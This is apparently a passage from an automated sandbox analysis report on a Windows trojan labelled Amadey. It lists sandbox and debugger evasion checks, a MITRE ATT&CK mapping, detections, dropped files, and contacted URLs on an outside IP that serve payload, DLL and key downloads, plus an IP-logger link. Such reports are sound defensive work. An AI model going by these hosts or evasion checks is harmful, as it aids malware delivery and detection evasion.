Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: dI3n4LSHB7.exe, 00000000.00000002.2420658294.00000000009A4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File opened: NTICE
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File opened: SICE
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_0081C98C rdtsc

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04D02A6F mov eax, dword ptr fs:[00000030h]		0_3_04D02A6F
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_3_04CFE30D mov eax, dword ptr fs:[00000030h]		0_3_04CFE30D
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0041366F mov eax, dword ptr fs:[00000030h]		0_2_0041366F
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0040EF0D mov eax, dword ptr fs:[00000030h]		0_2_0040EF0D
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00D79C9B push dword ptr fs:[00000030h]		0_2_00D79C9B
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B40D90 mov eax, dword ptr fs:[00000030h]		0_2_04B40D90
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B538D6 mov eax, dword ptr fs:[00000030h]		0_2_04B538D6
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4092B mov eax, dword ptr fs:[00000030h]		0_2_04B4092B
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4F174 mov eax, dword ptr fs:[00000030h]		0_2_04B4F174

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_00402C70 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_0040C0B3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040C0B3
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00409949 SetUnhandledExceptionFilter,		0_2_00409949
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_00408ED5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00408ED5
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_004097B2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_004097B2
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4913C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B4913C
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B49A19 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B49A19
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B49BB0 SetUnhandledExceptionFilter,		0_2_04B49BB0
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	Code function: 0_2_04B4C31A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B4C31A

Source: dI3n4LSHB7.exe, dI3n4LSHB7.exe, 00000000.00000002.2420658294.00000000009A4000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ;Program Manager

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_3_04CF8DB3 cpuid

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\dI3n4LSHB7.exe

Code function: 0_2_00409BE5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	13 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dI3n4LSHB7.exe	57%	Virustotal		Browse
dI3n4LSHB7.exe	63%	ReversingLabs	Win32.Trojan.Amadey
dI3n4LSHB7.exe	100%	Avira	HEUR/AGEN.1320706
dI3n4LSHB7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.156.73.23/soft/download	false		unknown
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emp	false		unknown
http://185.156.73.23/dll/download	false		unknown
http://185.156.73.23/files/download	false		unknown
http://185.156.73.23/dll/key	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.156.7	dI3n4LSHB7.exe, 00000000.00000003.2164899084.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downl	dI3n4LSHB7.exe, 00000000.00000003.2164899084.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/download23/files/downloadft	dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadLMEM	dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadX	dI3n4LSHB7.exe, 00000000.00000003.2004022772.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978855057.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.7.dr	false		high
http://185.156.73.23/dll/key5	dI3n4LSHB7.exe, 00000000.00000002.2423473843.0000000005461000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	dI3n4LSHB7.exe, 00000000.00000003.2143147652.0000000005529000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143116370.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144119013.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000590F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144925327.0000000005A21000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2145027376.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2146009236.000000000594F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/add?substr=mixtwo&s=three&sub=emph	dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000002.2423473843.0000000005461000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1824890347.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/download23/add?substr=mixtwo&s=three&sub=emp	dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1824890347.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadd	dI3n4LSHB7.exe, 00000000.00000003.2164899084.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downli	dI3n4LSHB7.exe, 00000000.00000003.2164899084.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/download23/files/download	dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadj	dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadwo&s=three&sub=emp	dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953645739.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978929182.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://g-cleanit.hk	dI3n4LSHB7.exe, 00000000.00000003.2143147652.0000000005529000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143116370.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144119013.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000590F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144925327.0000000005A21000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2145027376.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2146009236.000000000594F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/files/download6	dI3n4LSHB7.exe, 00000000.00000003.2004022772.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875426608.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927026638.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978855057.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953566017.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1849981502.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901433498.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/download=%	dI3n4LSHB7.exe, 00000000.00000002.2421379275.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73	dI3n4LSHB7.exe, 00000000.00000003.2164899084.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143225056.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadft	dI3n4LSHB7.exe, 00000000.00000003.1850067777.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927437039.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1875573218.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1901535683.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2004146869.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029367883.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://iplogger.org/1Pz8p7	dI3n4LSHB7.exe, 00000000.00000003.2143147652.0000000005529000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143116370.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144119013.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2143782399.000000000590F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2144925327.0000000005A21000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2145027376.000000000594F000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2146009236.000000000594F000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://185.156.73.23/files/download23/files/downloadwo&s=three&sub=emp	dI3n4LSHB7.exe, 00000000.00000003.2054547195.0000000005467000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2090076872.0000000005467000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.156.73.23/files/downloadF	dI3n4LSHB7.exe, 00000000.00000003.2004022772.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1927026638.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1978855057.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.1953566017.000000000594C000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2029283318.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2054460287.000000000594E000.00000004.00000020.00020000.00000000.sdmp, dI3n4LSHB7.exe, 00000000.00000003.2089976231.000000000594E000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.156.73.23	unknown	Russian Federation		48817	RELDAS-NETRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578903
Start date and time:	2024-12-20 16:26:41 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dI3n4LSHB7.exe renamed because original name is a hash value
Original Sample Name:	2725f2b0ffa89f08642d36caf06c3ce4.exe
